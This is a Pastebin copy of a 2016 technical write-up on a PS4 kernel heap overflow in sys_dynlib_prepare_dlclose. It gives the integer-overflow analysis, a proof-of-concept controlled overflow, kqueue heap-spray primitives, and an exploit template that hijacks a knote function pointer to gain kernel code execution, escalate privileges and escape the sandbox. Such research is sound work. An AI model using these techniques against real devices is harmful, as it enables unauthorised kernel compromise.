Advertisement
BaSs_HaXoR

sys_dynlib_prepare_dlclose PS4 kernel heap overflow

Dec 5th, 2016
943
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.85 KB | None | 0 0
  1. Contact About Articles Home
  2. Analysis of sys_dynlib_prepare_dlclose PS4 kernel heap overflow
  3. - CTurt and qwertyoruiop
  4.  
  5. ------------------
  6. - Introduction -
  7. ------------------
  8. I discovered a PS4 kernel vulnerability in a Sony system call a while ago, which I've recently had time to exploit, with the help of qwertyoruiop. This vulnerability was patched at a similar time to BadIRET, around firmware 2.00, so it won't give access to any later firmwares; but it turned out to be significantly easier to work with than BadIRET, (which I will explain in detail later), so I'd recommend its usage over BadIRET.
  9.  
  10. As always, I will explain the full details of the vulnerability, and describe all methods of exploiting it which we considered, including the one which we used successfully. However, we're not interested in publishing any fully weaponised exploit source code.
  11.  
  12. ------------------
  13. - Discovery -
  14. ------------------
  15. Back before I had the BadIRET kernel exploit working, I experimented with syscall fuzzing and found a few interesting crashes, the most promising of which was in system call 597. Since this was one of the few system calls I was able to preempt and read the call stack of, I was able to leak its name as sys_dynlib_prepare_dlclose:
  16.  
  17. #0 0xffffffff8243f6dc at mi_switch+0xbc
  18. #1 0xffffffff824740aa at sleepq_timedwait+0x3a
  19. #2 0xffffffff8243f2cb at _sleep+0x24b
  20. #3 0xffffffff825ab6e1 at kmem_malloc+0x1d1
  21. #4 0xffffffff825a40f4 at uma_large_malloc+0x44
  22. #5 0xffffffff8242277b at malloc+0x11b
  23. #6 0xffffffff825e809d at rtld_malloc+0x1d
  24. #7 0xffffffff825e380e at sys_dynlib_prepare_dlclose+0x7e
  25. #8 0xffffffff82616735 at amd64_syscall+0x4c5
  26. #9 0xffffffff825ff357 at Xfast_syscall+0xf7
  27.  
  28. The following usage of this system call will cause a panic:
  29.  
  30. uint64_t count = 0x800000000;
  31. dynlib_prepare_dlclose(1, NULL, &count);
  32.  
  33. The interesting thing about this panic was that it didn't happen immediately; the current thread froze whilst the rest of the system remained stable for about 30 seconds before a kernel panic occurred.
  34.  
  35. From the call stack, I at least knew that a memory allocation was being performed, and probably with a user supplied length. So I decided to keep quiet about the bug until I had analysed it fully, and knew that it had been patched.
  36.  
  37. ------------------
  38. - Analysis -
  39. ------------------
  40. After dumping the kernel with the BadIRET exploit, I've been able to audit the system call and analyse the exact nature of the bug.
  41.  
  42. This system call is part of a dynamic linker which Sony added to the kernel, which appears to be heavily based on FreeBSD's userland rtld-elf.
  43.  
  44. The main design change from userland rtld-elf is that each process holds a pointer to its main executable object, within its structure (td->td_proc->dl_context->first_obj).
  45.  
  46. In particular, the PS4 function prepare_dlclose is heavily based on FreeBSD's dlclose which basically checks whether the requested library has any references (root->refcount == 1), to see if the requested library can be unloaded.
  47.  
  48. Sony's prepare_dlclose is a slight extension to this. It essentially iterates over a linked list of all objects loaded by the process, to produce a list of these references, before it performs the check, and then unloading if necessary.
  49.  
  50. To help with reverse engineering this code, the dump_obj and dump_objlist functions can be very helpful because they give you the offsets of the most useful members of the Obj_Entry structure and the Objlist structure.
  51.  
  52. ------------------
  53. - The bug -
  54. ------------------
  55. At its fundamental core, the system call does the following:
  56.  
  57. struct dynlib_prepare_dlclose_args {
  58. int handle;
  59. int *buffer;
  60. uint64_t *countAddress;
  61. };
  62.  
  63. int64_t sys_dynlib_prepare_dlclose(struct thread *td, struct dynlib_prepare_dlclose_args *uap) {
  64. int64_t count;
  65. int *allocation;
  66. struct dl_context *context;
  67. Obj_Entry *obj;
  68. int result = 0;
  69.  
  70. ...
  71.  
  72. context = td->td_proc->dl_context;
  73. ...
  74. if(!copyin(uap->countAddress, &count, sizeof(count))) {
  75. ...
  76. allocation = rtld_malloc(count * sizeof(int), 0);
  77. ...
  78. if(allocation) {
  79. copyin(uap->buffer, allocation, sizeof(int) * count);
  80. ...
  81. obj = find_obj_by_handle(context, uap->handle);
  82.  
  83. ...
  84.  
  85. if(!prepare_dlclose(context, obj, allocation, &count)) {
  86. if(!copyout(allocation, uap->buffer, 4 * count)) {
  87. if(copyout(&count, uap->countAddress, sizeof(count))) result = EFAULT;
  88. }
  89.  
  90. else result = EFAULT;
  91. }
  92. else result = EINVAL;
  93.  
  94. ...
  95.  
  96. rtld_free(allocation, size, 0);
  97. }
  98. }
  99. else result = EFAULT;
  100.  
  101. return result;
  102. }
  103.  
  104. One problem is that although the result from the first copyin is checked, the second copyin isn't. This could potentially be used as an info leak, which might have been useful if the PS4 kernel had ASLR, but since not, we had no need to analyse this fully.
  105.  
  106. However, the main problems pertain from there being no bound checks performed on the user supplied count, resulting in multiple parts of this system call being vulnerable to classic integer overflows.
  107.  
  108. ------------------------------------------------
  109. - FreeBSD kernel heap allocation types -
  110. ------------------------------------------------
  111. There are 2 different ways to get the size of the allocation to overflow, giving us either a zone allocation, or a page based allocation.
  112.  
  113. The allocation is done by rtld_malloc, which is almost a direct wrapper for malloc. In the FreeBSD kernel malloc implementation, different functions will be used depending on whether size > KMEM_ZMAX or not (0x1000 on FreeBSD, 0x4000 on PS4):
  114.  
  115. if(size <= KMEM_ZMAX) {
  116. ...
  117. // Perform a zone allocation
  118. va = uma_zalloc(zone, flags);
  119. ...
  120. }
  121. else {
  122. ...
  123. // Physically allocate new pages
  124. va = uma_large_malloc(size, flags);
  125. ...
  126. }
  127.  
  128. When small allocations are requested, the zone allocator will search for gaps in pre-allocated zones. When larger allocations are requested, the system will attempt to physically allocate new pages.
  129.  
  130.  
  131. ------------------------------------------------
  132. - The first integer overflow -
  133. ------------------------------------------------
  134. Since the size is stored as a 64 bit unsigned integer, the most obvious overflow occurs when 0x4000000000000000 + X is passed in as count. This would calculate a size of (0x4000000000000000 + X) * 4 = 0x10000000000000000 + X * 4 to be passed to rtld_malloc, which overflows to simply X * 4 bytes.
  135.  
  136. Depending on the value of X, this can be used to trigger either zone allocations or physical allocations.
  137.  
  138.  
  139. ------------------------------------------------
  140. - The second integer overflow -
  141. ------------------------------------------------
  142. Since uma_large_malloc declares the size parameter as vm_size_t, which is a 32 bit type, we can get the size to overflow at a later stage of the allocation.
  143.  
  144. When a count of 0x40000000 + X is specified, the calculated size will be (0x40000000 + X) * 4 = 0x100000000 + X * 4 bytes.
  145.  
  146. This can be stored in a 64 bit integer, so the size won't have overflown by the time the code path performs the size check for a zone allocation or a physical allocation. This means the uma_large_malloc will always be used.
  147.  
  148. When this size is passed down to uma_large_malloc it will be truncated to 32 bit, and overflow to simply X * 4 bytes.
  149.  
  150. The uma_zalloc code path also treats size as a 32 bit type, but since we are interested in getting a size large enough to overflow when truncated, this isn't reachable by us.
  151.  
  152.  
  153. ------------------------------------------------
  154. - Attack vectors for the first overflow -
  155. ------------------------------------------------
  156. After allocating a buffer with an overflown size, the code then goes on to call prepare_dlclose with this buffer and our controlled count before it has overflown. The situation now is that only X * 4 bytes have been allocated for the buffer, but the count passed onto prepare_dlclose will be 0x4000000000000000 + X.
  157.  
  158. As explained earlier, when the reference count of the library is 1, prepare_dlclose will call objlist_prepare_fini to fill the buffer with a list of references to the requested library:
  159.  
  160. int64_t prepare_dlclose(struct dl_context *context, Obj_Entry *root, void *alloc, int64_t *count) {
  161. ...
  162. if(root->refcount == 1) {
  163. objlist_prepare_fini(context, &context->list, root, alloc, count);
  164. ...
  165. }
  166. ...
  167. }
  168.  
  169. It is in objlist_prepare_fini that the buffer is finally written to, giving us an out of bounds kernel heap write:
  170.  
  171. signed int64_t objlist_prepare_fini(struct dl_context *context, Objlist_Entry *list, Obj_Entry *root, int *buffer, int64_t *count) {
  172. ...
  173. buffer[i] = nextList->obj->handle;
  174. ...
  175. }
  176.  
  177. The problem with trying to exploit this situation is that the particular code path where the buffer is written to is very specific.
  178.  
  179. The first condition that must be satisfied is for root->refcount to equal 1, so that prepare_dlclose will call objlist_prepare_fini. This is trivial to bypass: if we manually load a new library it will have both a refcount and dl_refcount of 1.
  180.  
  181. But the next condition is more difficult to control:
  182.  
  183. i = 0;
  184. while(1) {
  185. nextList = list->next;
  186.  
  187. while(1) {
  188. if(!nextList) {
  189. *count = i;
  190. return 0;
  191. }
  192.  
  193. obj = nextList->obj;
  194.  
  195. if(!root)
  196. break;
  197.  
  198. if(obj->refcount == 1) {
  199. LODWORD(v11) = sub_FFFFFFFF825E5C30(&root->unk, nextList->obj);
  200. if(v11)
  201. break;
  202. }
  203.  
  204. nextList = nextList->next;
  205. }
  206. }
  207.  
  208. To prevent the function from returning before the heap write, we need td->td_proc->dl_context->list->next to be non-NULL. We experimented with several ideas to attempt to populate the list: mainly loading and unloading all libraries in different orders, but didn't have any success.
  209.  
  210. ------------------------------------------------
  211. - Attack vectors for the second overflow -
  212. ------------------------------------------------
  213. Of course, both methods of triggering the allocation size overflow will theoretically give access to the out of bounds write in objlist_prepare_fini, but getting the size to overflow the second way also gives us some additional potential attack vectors.
  214.  
  215. ---------------
  216. - rtld_free -
  217. ---------------
  218. When the allocation is freed with rtld_free at the end of the system call, the full 64 bit size will be passed.
  219.  
  220. At first this looks like it could lead to some very juicy use after free behaviour because only X * 4 bytes will have been allocated, but the system call will try to free 0x100000000 + X * 4 bytes. Unfortunately, although the rtld_free function is passed the full size, the code doesn't appear to use the size argument at all, so this isn't a possible attack vector.
  221.  
  222.  
  223. ---------------------------
  224. - copyin overflow -
  225. ---------------------------
  226. The next thing we experimented with, was abusing the copyin performed early on by sys_dynlib_prepare_dlclose:
  227.  
  228. allocation = rtld_malloc(count * 4, 0);
  229. ...
  230. copyin(uap->buffer, allocation, 4 * count);
  231.  
  232. Once again, if we supply a count of 0x40000000 + X, the size for the allocation will be truncated by uma_large_malloc, resulting in an allocation of only X * 4 bytes.
  233.  
  234. However, the size parameter for copyin is treated as 64 bit, so the full size will be used. This gives us a heap overflow of copyLength - bufferSize = ((0x40000000 + X) * 4) - (X * 4) = 0x100000000 bytes.
  235.  
  236. There is a clear problem here: overflowing by 4GB is much more than we can handle! However, there are two potential ways for a copy to be interrupted:
  237.  
  238. The system call could be preempted whilst overflowing the buffer, and another userland thread could then kill it to stop the overflow from completing its full size (I've demonstrated a similar idea in my third PS4 article, where I preempted kernel threads to read their call stacks from userland). Whilst this would result in a smaller overflow, it still wouldn't be manageable because we wouldn't be able to control exactly when the copy would be preempted.
  239.  
  240. The other way of interrupting the overflow would be to setup userland memory such that the page after the mapping is unmapped. Once the system has copied all memory we desire, it will then attempt to copy from the unmapped memory following it, resulting in a page fault being triggered, and the system call cancelling, with EFAULT returned. This gives us a reliable way of controlling the size of the copy.
  241.  
  242.  
  243. ---------------------------
  244. - Debugging on FreeBSD -
  245. ---------------------------
  246. It should be clear now that the copyin call is the easiest way to exploit the bug since it is possible to control both the size and contents of the overflow. Since I haven't yet been able to get kernel debugging on a retail PS4 (don't feel like soldering to the UART ports), we debugged the exploit on FreeBSD first.
  247.  
  248. Although I've described the process of debugging the FreeBSD kernel in my previous article, there are some additional things we will need to adjust to debug an exploit for this particular vulnerability.
  249.  
  250. Since the vulnerability is a heap overflow, we rely heavily on the behaviour of PAGE_SIZE, which is 4KB by default on FreeBSD, but 16KB on PS4. To adjust the page size to be 16KB: modify PAGE_SHIFT from 12 to 14 in file sys/amd64/include/param.h and recompile the kernel.
  251.  
  252. We'll also need to create a kernel module, with a new system call to replicate the behaviour we need from sys_dynlib_prepare_dlclose:
  253.  
  254. int sys_backdoor(struct thread *td, struct backdoor_args *uap) {
  255. char *x = malloc(uap->a, M_FOOBUF, 0);
  256. copyin(uap->b, x, uap->a);
  257. return 0;
  258. }
  259.  
  260. -----------------------------------
  261. - Controlling the overflow size -
  262. -----------------------------------
  263. All that is needed is to prepare the following heap layouts:
  264.  
  265. Userland: [ Mapping ][Unmapped]
  266. Kernel: [Buffer][Overflow]
  267.  
  268. When the system call is performed the following will happen:
  269.  
  270. Arbitrary contents will be copied into the kernel buffer from the controlled userland mapping,
  271. The kernel memory after the allocated buffer will be overflowed into, with our controlled userland mapping,
  272. The copyin will attempt to read from unmapped userland memory,
  273. A page fault will be triggered, and the system call will return EFAULT,
  274.  
  275. -----------------------------------
  276. - Preparing the heap -
  277. -----------------------------------
  278. - Userland -
  279. ------------------
  280. To ensure that the end of our buffer is unmapped, we can simply map the size we need plus one additional page, and then unmap the additional page:
  281.  
  282. uint64_t bufferSize = 0x8000;
  283. uint64_t overflowSize = 0x8000;
  284. uint64_t copySize = bufferSize + overflowSize;
  285.  
  286. // Round up to nearest multiple of PAGE_SIZE
  287. uint64_t mappingSize = (copySize + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1);
  288.  
  289. uint8_t *mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
  290.  
  291. // Ensure end of mapping is unmapped
  292. munmap(mapping + mappingSize, PAGE_SIZE);
  293.  
  294. // buffer + copySize points to unmapped memory
  295. uint8_t *buffer = mapping + mappingSize - copySize;
  296. uint8_t *overflow = buffer + bufferSize;
  297.  
  298. int64_t count = (0x100000000 + bufferSize) / 4;
  299.  
  300. We don't have to use the start the mapping as the start of the buffer; by starting the buffer further along the first page of the mapping, the copy size is reduced to a higher level of precision than by just using the entire mapping, which would limit us to multiples of PAGE_SIZE.
  301.  
  302. We also tried using mprotect to make the final page unreadable, instead of unmapping it entirely. This would ensure that the page wouldn't be returned to later, unrelated, mmap calls, however this approach didn't work for my tests:
  303.  
  304. uint8_t *mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
  305. mprotect(mapping + mappingSize, PAGE_SIZE, PROT_NONE);
  306.  
  307. -----------------------------------
  308. - Kernel -
  309. -----------------------------------
  310. Luckily for us, the kernel heap allocator has predictable behaviour, which we can use to manipulate its layout.
  311.  
  312. For instance, when trying to allocate 0x100000000 bytes with rtld_malloc, since the size will truncate to 0, a special case occurs: the start of the heap (0xffffff8000400000) will always be returned. This could be used to target the start of the heap if it contained a viable attack vector.
  313.  
  314. In reality, we will need to use a more advanced technique, known as Heap Feng Shui. The principle of this is that since the heap is deterministic, we can reliably manipulate its layout with specific sequences of allocations and frees.
  315.  
  316. We used kernel code execution from the BadIRET exploit to test the behaviour of the heap. We found that the heap can be defragged by performing 100 or so dummy allocations, which will ensure that the next two allocations will be adjacent. Once we have two adjacent allocations, we free the first allocation, such that the next allocation will occupy its memory and be positioned directly before the second allocation:
  317.  
  318. /* Sample output:
  319. Alloc spray
  320. ...
  321. Alloc first
  322. ffffff8002450000
  323. Alloc second
  324. ffffff8002458000
  325. Free first
  326. New alloc
  327. ffffff8002450000
  328. */
  329.  
  330. kprintf("Alloc spray\n");
  331. int i;
  332. for(i = 0; i < 100; i++) {
  333. void *m = malloc(0x8000, &M_SUBPROC, M_WAITOK | M_ZERO);
  334. kprintf("%p\n", m);
  335. }
  336.  
  337. kprintf("Alloc first\n");
  338. void *m = malloc(0x8000, &M_SUBPROC, M_WAITOK | M_ZERO);
  339. kprintf("%p\n", m);
  340.  
  341. kprintf("Alloc second\n");
  342. void *m2 = malloc(0x8000, &M_SUBPROC, M_WAITOK | M_ZERO);
  343. kprintf("%p\n", m2);
  344.  
  345. kprintf("Free first\n");
  346. free(m, &M_SUBPROC);
  347.  
  348. kprintf("New alloc\n");
  349. void *n = rtld_malloc(0x100000000 + 0x8000, 0);
  350. kprintf("%p\n", n);
  351.  
  352. With this setup, the final allocation will overwrite the m2 allocation when overflowed.
  353.  
  354. -----------------------------------
  355. - Controlled overflow PoC -
  356. -----------------------------------
  357. We now know everything about the heap's behaviour that we need to write a controlled overflow PoC:
  358.  
  359. // Prepare heap layout - kernel:
  360. kprintf("Alloc spray\n");
  361. int i;
  362. for(i = 0; i < 100; i++) {
  363. void *m = malloc(0x8000, &M_SUBPROC, M_WAITOK | M_ZERO);
  364. kprintf("%p\n", m);
  365. }
  366.  
  367. kprintf("Alloc first\n");
  368. void *m = malloc(0x8000, &M_SUBPROC, M_WAITOK | M_ZERO);
  369. kprintf("%p\n", m);
  370.  
  371. kprintf("Alloc second\n");
  372. void *m2 = malloc(0x8000, &M_SUBPROC, M_WAITOK | M_ZERO);
  373. kprintf("%p\n", m2);
  374.  
  375. kprintf("Free first\n");
  376. free(m, &M_SUBPROC);
  377.  
  378.  
  379. // Perform oveflow - userland:
  380. uint64_t bufferSize = 0x8000;
  381. uint64_t overflowSize = 0x8000;
  382.  
  383. uint64_t mappingSize = bufferSize + overflowSize;
  384.  
  385. int64_t count = (0x100000000 + bufferSize) / 4;
  386.  
  387. uint8_t *mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
  388. munmap(mapping + mappingSize, PAGE_SIZE);
  389.  
  390. memset(mapping + bufferSize, 'a', overflowSize);
  391.  
  392. int result = syscall(597, 1, mapping, &count);
  393. printf("Result: %d\n", result);
  394.  
  395.  
  396. // Dump second allocation - kernel:
  397. memcpy(dump, m2, 0x8000);
  398.  
  399. struct sendto_args args = { sock, dump, 0x8000, 0, NULL, 0 };
  400. sendto(td, &args);
  401. Sure enough, the two allocations are adjacent, the system call returns EFAULT, the second buffer is overwritten with "aaa...", and the system remains stable (since we only overwrote into our controlled mapping).
  402.  
  403.  
  404. -----------------------------------
  405. - Kernel heap primitives -
  406. -----------------------------------
  407.  
  408. Now that we've been able to reliably control the overflow within our artificial kernel code tests, we need to find a piece of existing kernel code which we can trigger from userland to replicate the behaviour.
  409.  
  410. We need something large enough to be allocated using uma_large_malloc (not the zone allocator), and ideally we should have some control over its size.
  411.  
  412. Although there are several pieces of kernel code, easily accessible from userland, which can be used to perform kernel heap allocations, many aren't suitible as primitives for our exploit. For example, sys_uuidgen can be used to allocate up to 2048 * 16 = 0x8000 bytes, but the buffer is almost immediately freed so it would have to be race attacked, which wouldn't be practical.
  413.  
  414. Eventually, we came across an allocation in the kernel event queue handling code, in kqueue_expand:
  415.  
  416. size = kq->kq_knlistsize;
  417. while(size <= fd)
  418. size += KQEXTENT;
  419. list = malloc(size * sizeof(*list), M_KQUEUE, mflag);
  420.  
  421. This allocation is perfect because the size used is derived from the file descriptor number, not the number of files.
  422.  
  423. Using this, we were able to create heap allocation and free primitives in FreeBSD, with size controlled to any multiples of 0x800 bytes:
  424.  
  425. #include <stdlib.h>
  426. #include <unistd.h>
  427. #include <fcntl.h>
  428. #include <sys/types.h>
  429. #include <sys/event.h>
  430. #include <sys/socket.h>
  431. #include <sys/mman.h>
  432.  
  433. // Perform kernel allocation aligned to 0x800 bytes
  434. int kernelAllocation(size_t size) {
  435. struct kevent kv;
  436. int queue = kqueue();
  437.  
  438. int fd = (size - 0x800) / 8;
  439.  
  440.  
  441. // Assuming dup2 is allowed
  442. int sock = socket(AF_INET, SOCK_STREAM, 0);
  443. dup2(sock, fd);
  444. close(sock);
  445.  
  446.  
  447. EV_SET(&kv, fd, EVFILT_READ, EV_ADD, 0, 5, NULL);
  448. kevent(queue, &kv, 1, 0, 0, 0);
  449.  
  450. close(fd);
  451.  
  452. return queue;
  453. }
  454.  
  455. void kernelFree(int allocation) {
  456. close(allocation);
  457. }
  458.  
  459. int main(void) {
  460. int allocation = kernelAllocation(0x1000);
  461. kernelFree(allocation);
  462.  
  463. return 0;
  464. }
  465.  
  466. ------------------------------------
  467. - Porting heap primitives to PS4 -
  468. ------------------------------------
  469. There are several complications which need to be addressed to port the above FreeBSD heap primitives to PS4.
  470.  
  471.  
  472. File descriptor raising on PS4
  473.  
  474. One of these complications is that we depend on dup2 to raise the file descriptor number, but since Sony has added a priv_check on this system call (and all varients like dup and rdup), we can't use it.
  475.  
  476. One solution to this is to simply keep creating files (like sockets or pipes) until we reach the desired file descriptor number:
  477.  
  478. static int sock = 0;
  479.  
  480. while(sock != fd) {
  481. sock = socket(AF_INET, SOCK_STREAM, 0);
  482. }
  483.  
  484. However, there is a sysctl name, "kern.maxfiles", which limits the amount of descriptors we can create (set to 0x3680 on PS4), meaning that there is also a limit on the size of the allocations we can perform with this primitive.
  485.  
  486. You can also take advantage of the fact that page allocations will round up to PAGE_SIZE, so you can calculate the minimum size needed to allocate a given number of pages as follows:
  487.  
  488. size = (pages - 1) * PAGE_SIZE + 0x800;
  489.  
  490. Event queue differences on PS4
  491.  
  492. Although struct kevent is 32 bytes for both systems, some of the offsets of the members are different due to struct padding (filter has offset 8 on FreeBSD, but 4 on PS4).
  493.  
  494. An easy way to deal with these differences is just to use the Sony wrappers in libkernel, (like sceKernelCreateEqueue and sceKernelAddReadEvent), which construct the kevent struct for you.
  495.  
  496.  
  497. -----------------------------------
  498. - Targets to overflow into -
  499. -----------------------------------
  500. The beautiful thing about the heap control primitive explained above, is that not only is it useful for performing heap layout manipulations, but its allocations are of type struct klist, a singly-linked list of struct knote, a large structure containing numerous pointers which can facilitate code execution.
  501.  
  502. In particular, struct knote contains a struct filterops * called kn_fop. If targeting the kn_fop member there is actually no need to gain arbitrary kernel write first since struct filterops contains easily triggerable function pointers, such as f_detach:
  503.  
  504. struct filterops {
  505. int f_isfd; /* true if ident == filedescriptor */
  506. int (*f_attach)(struct knote *kn);
  507. void (*f_detach)(struct knote *kn);
  508. int (*f_event)(struct knote *kn, long hint);
  509. void (*f_touch)(struct knote *kn, struct kevent *kev, u_long type);
  510. };
  511.  
  512. So all we need to do is overflow struct klist to point to a carefully crafted userland struct knote who's kn_fop member points to a controlled struct filterops, which contains the f_detach function pointer aimed at our payload.
  513.  
  514. struct knote kn;
  515. struct filterops fo;
  516.  
  517. struct knote **overflow = (struct knote **)(mapping + bufferSize);
  518.  
  519. for(i = 0; i < overflowSize / sizeof(struct knote *); i++) {
  520. overflow[i] = &kn;
  521. }
  522.  
  523. kn.fn_fop = &fo;
  524.  
  525. fo.f_detach = payload;
  526.  
  527. To overflow the above structures into the struct klist, we just spray the heap, create the hole, and perform the vulnerable system call as we did for the controlled overflow PoC:
  528.  
  529. int allocation[100], m, m2;
  530.  
  531. // Spray the heap
  532. int i;
  533. for(i = 0; i < 100; i++) {
  534. allocation[i] = kernelAllocation(bufferSize);
  535. }
  536.  
  537. // Create hole for the system call's allocation
  538. m = kernelAllocation(bufferSize);
  539. m2 = kernelAllocation(bufferSize);
  540. kernelFree(m);
  541.  
  542. // Overflow into m2 kqueue
  543. syscall(597, 1, mapping, &count);
  544.  
  545. ----------------------
  546. - Triggering -
  547. ----------------------
  548. After the buffers have been overflown, closing the queue will go through kqueue_close (and then kqueue_drain on later versions of FreeBSD), where the f_detach function pointer is then triggered, resulting in a jump to our payload. Kernel code execution achieved!
  549.  
  550. -------------------------------
  551. - Restoration of kernel state -
  552. -------------------------------
  553. The BadIRET exploit had a very convoluted execution flow, and required many additional stages after initially gaining kernel code execution before being suitible for general payload development.
  554.  
  555. For example, with BadIRET we first gained kernel code execution under a very critical double fault context, which we then used to hijack an additional function pointer.
  556.  
  557. We then had to directly handle return back to userland by restoring the swapgs imbalance to ensure we had userland GS base, before then crafting a valid stack frame to return to with the iret instruction.
  558.  
  559. We could then trigger the second payload from userland to gain kernel code execution under a normal context.
  560.  
  561. Furthermore, the exploit relied on corrupting the IDT which we had to reinitialise before returning from the critical payload.
  562.  
  563. The dlclose exploit doesn't require any of this, which makes it much easier and more direct to work with than BadIRET. After calling close we immediately gain kernel code execution under a normal context. Secondly, since this exploit doesn't corrupt any global structures; if we perform it in a separate thread, any corruption will be discarded once the thread finishes and so we don't need to clean up anything manually.
  564.  
  565. The general template for this exploit is as follows:
  566.  
  567. void payload(struct knote *kn) {
  568. struct thread *td;
  569. struct ucred *cred;
  570.  
  571. asm volatile("mov %0, %%gs:0" : "=r"(td));
  572.  
  573. kprintf(" [+] Entered kernel payload!\n");
  574.  
  575. // Privilege escalation
  576. ...
  577.  
  578. // Jailbreak
  579. ...
  580.  
  581. // Sandbox escape
  582. ...
  583.  
  584. // Enable UART output
  585. ...
  586.  
  587. // Disable write protection
  588. ...
  589.  
  590. // Patch kernel functions
  591. ...
  592.  
  593. // Restore write protection
  594. ...
  595.  
  596. // Install kexec system call
  597. ...
  598.  
  599. // etc...
  600. }
  601.  
  602. void *exploitThread(void *arg) {
  603. // Map the buffer, spray the heap, etc
  604. ...
  605.  
  606. // Create hole for the system call's allocation
  607. m = kernelAllocation(bufferSize);
  608. m2 = kernelAllocation(bufferSize);
  609. kernelFree(m);
  610.  
  611. // Perform the overflow
  612. syscall(597, 1, mapping, &count);
  613.  
  614. // Execute the payload
  615. kernelFree(m2);
  616.  
  617. return NULL;
  618. }
  619.  
  620. int _main(void) {
  621. int sock;
  622. ScePthread thread;
  623.  
  624. // Resolve functions, connect to socket, etc
  625. ...
  626.  
  627. printf("[+] Starting...\n");
  628. printf("[+] UID = %d\n", getuid());
  629.  
  630. // Create exploit thread
  631. if(scePthreadCreate(&thread, NULL, exploitThread, NULL, "exploitThread") != 0) {
  632. printf("[-] scePthreadCreate\n");
  633. sceNetSocketClose(sock);
  634. return 1;
  635. }
  636.  
  637. // Wait for thread to exit
  638. scePthreadJoin(thread, NULL);
  639.  
  640. // At this point we should have root and jailbreak
  641. if(getuid() != 0) {
  642. printf("[-] Kernel patch failed!\n");
  643. sceNetSocketClose(sock);
  644. return 1;
  645. }
  646.  
  647. printf("[+] Kernel patch success!\n");
  648.  
  649. // Dump files, patch memory from other processes, boot Linux, etc
  650. ...
  651.  
  652. sceNetSocketClose(sock);
  653. return 0;
  654. }
  655.  
  656. Complete source code for the exploit has since been published by kR105.
  657.  
  658. ----------------
  659. - Conclusion -
  660. ----------------
  661. Kernel code execution gives almost complete control over the system. I've described in my previous article a few things you can experiment with: dumping the kernel, disabling CPU write protection to make patches to kernel code, reading and writing memory of other processes, privilege escalation, breaking out of FreeBSD jail, escaping sandbox and gaining full access to the file system, and I've also hinted at a few other things you can try: dumping and decrypting crash dumps (look into /dev/da0x6 and sceSblGetKernelCrashDumpEncKey), decrypting saves (look into sceSblSsDecryptSealedKey), and dumping the registry (look into sys_regmgr_call).
  662.  
  663. However, with the recent release of fail0verflow's PS4 Linux port, kernel exploits are now much more interesting because they will soon be useful for end users, rather than just developers.
  664.  
  665. ----------------------------------------------------------------------------------------------------------------------------------------------------------------
  666. //Source: https://cturt.github.io/dlclose-overflow.html
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement